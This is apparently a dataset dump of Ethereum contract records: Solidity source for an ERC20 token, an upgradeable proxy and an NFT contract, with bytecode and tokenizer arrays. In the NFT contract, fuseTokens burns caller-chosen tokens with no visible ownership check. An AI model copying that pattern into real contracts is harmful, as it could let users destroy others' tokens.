rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ function () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal pure{ } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } // File: @openzeppelin/upgrades/contracts/utils/Address.sol pragma solidity ^0.5.0; /** * Utility library of inline functions on addresses * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version. */ library OpenZeppelinUpgradesAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // File: @openzeppelin/upgrades/contracts/upgradeability/BaseUpgradeabilityProxy.sol pragma solidity ^0.5.0; /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } // File: @openzeppelin/upgrades/contracts/upgradeability/UpgradeabilityProxy.sol pragma solidity ^0.5.0; /** * @title UpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with a constructor for initializing * implementation and init data. */ contract UpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } } // File: @openzeppelin/upgrades/contracts/upgradeability/BaseAdminUpgradeabilityProxy.sol pragma solidity ^0.5.0; /** * @title BaseAdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal pure{ // require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } } // File: @openzeppelin/upgrades/contracts/upgradeability/AdminUpgradeabilityProxy.sol pragma solidity ^0.5.0; /** * @title AdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for * initializing the implementation, admin, and init data. */ contract ThorShare is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal { _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address /*from*/, address /*to*/, uint256 /*amount*/ ) internal pure{} } // import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol"; contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ToShare is ERC20, Ownable { mapping(address => bool) public minters; constructor(string memory _name, string memory _symbol) public ERC20(_name, _symbol) { _mint(msg.sender, 1e26); // pre-mint: 1% of total supply = 1e8 ether } function mint(address _to, uint256 _amount) external { require(minters[msg.sender], "!minter"); _mint(_to, _amount); } function addMinter(address _minter) external onlyOwner { minters[_minter] = true; } function removeMinter(address _minter) external onlyOwner { minters[_minter] = false; } }
0x60806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633659cfe6146100775780634f1ef286146100c85780635c60da1b146101615780638f283970146101b8578063f851a44014610209575b610075610260565b005b34801561008357600080fd5b506100c66004803603602081101561009a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061027a565b005b61015f600480360360408110156100de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561011b57600080fd5b82018360208201111561012d57600080fd5b8035906020019184600183028401116401000000008311171561014f57600080fd5b90919293919293905050506102cf565b005b34801561016d57600080fd5b506101766103a7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101c457600080fd5b50610207600480360360208110156101db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103ff565b005b34801561021557600080fd5b5061021e6105bd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610268610615565b61027861027361061f565b610650565b565b610282610676565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102c3576102be816106a7565b6102cc565b6102cb610260565b5b50565b6102d7610676565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561039957610313836106a7565b60008373ffffffffffffffffffffffffffffffffffffffff168383604051808383808284378083019250505092505050600060405180830381855af49150503d806000811461037e576040519150601f19603f3d011682016040523d82523d6000602084013e610383565b606091505b5050905080151561039357600080fd5b506103a2565b6103a1610260565b5b505050565b60006103b1610676565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103f3576103ec61061f565b90506103fc565b6103fb610260565b5b90565b610407610676565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156105b157600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610505576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001807f43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f81526020017f787920746f20746865207a65726f20616464726573730000000000000000000081525060400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61052e610676565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a16105ac816106f6565b6105ba565b6105b9610260565b5b50565b60006105c7610676565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561060957610602610676565b9050610612565b610611610260565b5b90565b61061d610725565b565b6000807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6001029050805491505090565b3660008037600080366000845af43d6000803e8060008114610671573d6000f35b3d6000fd5b6000807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61036001029050805491505090565b6106b081610727565b8073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a250565b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360010290508181555050565b565b610730816107f9565b15156107ca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b8152602001807f43616e6e6f742073657420612070726f787920696d706c656d656e746174696f81526020017f6e20746f2061206e6f6e2d636f6e74726163742061646472657373000000000081525060400191505060405180910390fd5b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60010290508181555050565b600080823b90506000811191505091905056fea165627a7a72305820b09f1fd9082bc1d88fd1246f4afe90dee90ad570617ce9c94748b75f990efcfc0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 16086, 4783, 2050, 2683, 2278, 2575, 20842, 2683, 22275, 2063, 17465, 2620, 2497, 2692, 23352, 2278, 19841, 2683, 29097, 23499, 15878, 2278, 23777, 2497, 2549, 2063, 17788, 1013, 1008, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1013, 12324, 1000, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 2330, 4371, 27877, 2378, 1013, 2330, 4371, 27877, 2378, 1011, 8311, 1013, 1038, 4135, 2497, 1013, 3040, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,005
0x960bf873DA3E1F06a65905456122D6f9D9868648
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; import "./ERC721Enumerable.sol"; import "./Ownable.sol"; import "./IContractFusion.sol"; contract SHABANGERS is ERC721Enumerable, Ownable { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 0.09 ether; uint256 public maxSupply = 10000; uint256 public maxMintAmount = 20; bool public paused = true; bool public presale = true; string public presaleURI = "http://23.254.217.117:5555/Switsh.json"; // address of OmniFusion contract address public FusionContractAddress; // Member1 address _40_Member1 = 0xf270765de3918461D47B0549FD553BF8703D8E46; // Member2 address _40_Member2 = 0x2B0FC0979668f82bEBBdD9f024375e28868070D3; // Member3 address _20_Member3 = 0x9360c8f77310A7aad619aDaB0BF3b3d549714cB9; constructor( string memory _name, string memory _symbol, string memory _initBaseURI ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(address _to, uint256 _mintAmount) public payable { require(!paused); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); uint256 supply = totalSupply(); require(supply + _mintAmount <= maxSupply); if (msg.sender != owner()) { require(msg.value >= cost * _mintAmount); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(_to, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(presale){ return presaleURI; } else { string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } } // fuse two tokens together function fuseTokens(uint toFuse, uint toBurn, bytes memory payload, bool burn) external { IContractFusion(FusionContractAddress).fuseTokens(msg.sender, toFuse, toBurn, payload); if(burn == true) _burn(toBurn); } //only owner function setCost(uint256 _newCost) public onlyOwner() { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setpresaleURI(string memory _newPresaleURI) public onlyOwner { presaleURI = _newPresaleURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function setpresale(bool _state) public onlyOwner { presale = _state; } // changes the address of the OmniFusion implementation function setFusionContractAddress(address _address) payable external onlyOwner { FusionContractAddress = _address; } function withdraw() public onlyOwner { uint bal = address(this).balance; uint _10_expenses = bal / 10; // 1/10 = 10% require(payable(msg.sender).send(_10_expenses)); bal = bal -_10_expenses; uint _20_Share = bal / 5; // 1/5 = 20% uint _40_Share = (bal - _20_Share) / 2; // 100% - 20% => 80% / 2 => 40% require(payable(_40_Member1).send(_40_Share)); require(payable(_40_Member2).send(_40_Share)); require(payable(_20_Member3).send(_20_Share)); } }
0x60806040526004361061023b5760003560e01c80635c975abb1161012e578063a22cb465116100ab578063d5abeb011161006f578063d5abeb0114610669578063da3ef23f1461067f578063e985e9c51461069f578063f2fde38b146106e8578063fdea8e0b1461070857600080fd5b8063a22cb465146105d4578063b24a854d146105f4578063b88d4fde14610614578063c668286214610634578063c87b56dd1461064957600080fd5b80637df14cef116100f25780637df14cef1461054e5780637f00c7a61461056e578063876eae7d1461058e5780638da5cb5b146105a157806395d89b41146105bf57600080fd5b80635c975abb146104ca5780636352211e146104e45780636c0360eb1461050457806370a0823114610519578063715018a61461053957600080fd5b806323b872dd116101bc57806342842e0e1161018057806342842e0e1461041d578063438b63001461043d57806344a0d68a1461046a5780634f6ccce71461048a57806355f804b3146104aa57600080fd5b806323b872dd146103955780632f745c59146103b55780633ccfd60b146103d55780633d843bb0146103ea57806340c10f191461040a57600080fd5b80631005e63c116102035780631005e63c1461031157806313faede61461033157806318160ddd146103555780632139db4c1461036a578063239c70ae1461037f57600080fd5b806301ffc9a71461024057806302329a291461027557806306fdde0314610297578063081812fc146102b9578063095ea7b3146102f1575b600080fd5b34801561024c57600080fd5b5061026061025b366004612230565b610727565b60405190151581526020015b60405180910390f35b34801561028157600080fd5b50610295610290366004612215565b610752565b005b3480156102a357600080fd5b506102ac610798565b60405161026c91906124cb565b3480156102c557600080fd5b506102d96102d43660046122b3565b61082a565b6040516001600160a01b03909116815260200161026c565b3480156102fd57600080fd5b5061029561030c3660046121eb565b6108bf565b34801561031d57600080fd5b5061029561032c366004612215565b6109d5565b34801561033d57600080fd5b50610347600d5481565b60405190815260200161026c565b34801561036157600080fd5b50600854610347565b34801561037657600080fd5b506102ac610a19565b34801561038b57600080fd5b50610347600f5481565b3480156103a157600080fd5b506102956103b036600461211d565b610aa7565b3480156103c157600080fd5b506103476103d03660046121eb565b610ad8565b3480156103e157600080fd5b50610295610b6e565b3480156103f657600080fd5b5061029561040536600461226a565b610c9e565b6102956104183660046121eb565b610cdf565b34801561042957600080fd5b5061029561043836600461211d565b610d8c565b34801561044957600080fd5b5061045d6104583660046120cf565b610da7565b60405161026c9190612487565b34801561047657600080fd5b506102956104853660046122b3565b610e49565b34801561049657600080fd5b506103476104a53660046122b3565b610e78565b3480156104b657600080fd5b506102956104c536600461226a565b610f0b565b3480156104d657600080fd5b506010546102609060ff1681565b3480156104f057600080fd5b506102d96104ff3660046122b3565b610f48565b34801561051057600080fd5b506102ac610fbf565b34801561052557600080fd5b506103476105343660046120cf565b610fcc565b34801561054557600080fd5b50610295611053565b34801561055a57600080fd5b506102956105693660046122cc565b